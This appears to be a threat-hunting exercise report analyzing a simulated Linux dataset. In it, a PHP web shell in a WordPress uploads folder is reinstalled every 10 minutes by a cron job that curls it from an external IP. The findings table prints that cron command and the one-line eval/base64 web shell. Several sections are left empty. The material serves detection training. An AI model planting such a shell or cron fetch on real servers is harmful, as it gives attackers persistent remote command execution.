← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Linux Cron Job + Web Shell Persistence Combo Dataset

This hunt uses a simulated web-server dataset (linux_cron_webshell_2022-08-20T081500.json) capturing a layered persistence pattern combining T1505.003: Web Shell and T1053.003: Scheduled Task/Job - Cron, where an attacker maintains an on-demand PHP web shell for interactive access alongside a cron job that periodically re-downloads/reinstates the shell if it's removed, ensuring persistence survives simple file deletion.

Step 1: Hypothesis Formation

Hypothesis: A web-accessible PHP file with obfuscated eval/base64 content is present in the webroot, and a crontab entry independently exists that periodically fetches and rewrites that same file from an external source - meaning removing the file alone does not evict the implant. Indicators:

Null Hypothesis: A legitimate scheduled deployment/cache-warming script exists that happens to touch files in the webroot on a regular interval. Invalidate by reviewing the script's source/version control and confirming it does not fetch content from an external, non-CDN URL.

Rationale: Combining a cron-based "resupply" mechanism with an interactive web shell means an incident responder who only deletes the discovered shell will see it silently reappear minutes later; this hunt validates cross-referencing webroot file anomalies against the crontab as the only way to fully evict this specific persistence pattern.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm a web shell at /var/www/html/wp-content/uploads/cache.php was accessed interactively from one IP, while a root crontab entry re-fetched and rewrote the identical file every 10 minutes from a second, unrelated IP.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-08-20 08:15:02lnx-web-node04auditd EXECVE (cron-spawned)crontab -l reveals: /10 * curl -s hxxp://45.135.132.20/cache.php -o /var/www/html/wp-content/uploads/cache.phpResupply IOC: a scheduled job that continuously re-downloads a file into the webroot from an external, non-CDN IP every 10 minutes.
2022-08-20 08:15:03lnx-web-node04FIM alertcache.php hash unchanged across repeated 10-minute rewrites - confirms the cron job is maintaining, not modifying, a static implantCorroborates that this is a deliberate persistence mechanism, not a legitimate content-refresh job.
2022-08-20 08:22:41lnx-web-node04Web access logGET /wp-content/uploads/cache.php?c=<base64-cmd> from 103.75.190.44 (unrelated to the cron source IP)Interactive-Access IOC: a separate operator IP is using the file as a live command-execution web shell, distinct from the resupply source.
2022-08-20 08:22:42lnx-web-node04(file content)cache.php contains <?php @eval(base64_decode($_REQUEST['c'])); ?>Confirms the file is a minimal, obfuscated PHP web shell, not legitimate WordPress upload-cache content.
--(deployment history check)No git/deployment record introduces cache.php; the uploads directory is web-writable and not tracked in version controlConfirms neither artifact originates from the legitimate application deployment pipeline.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - an attacker maintained an interactive PHP web shell alongside a cron job that resupplied it every 10 minutes from a separate external source, ensuring persistence survived simple file deletion!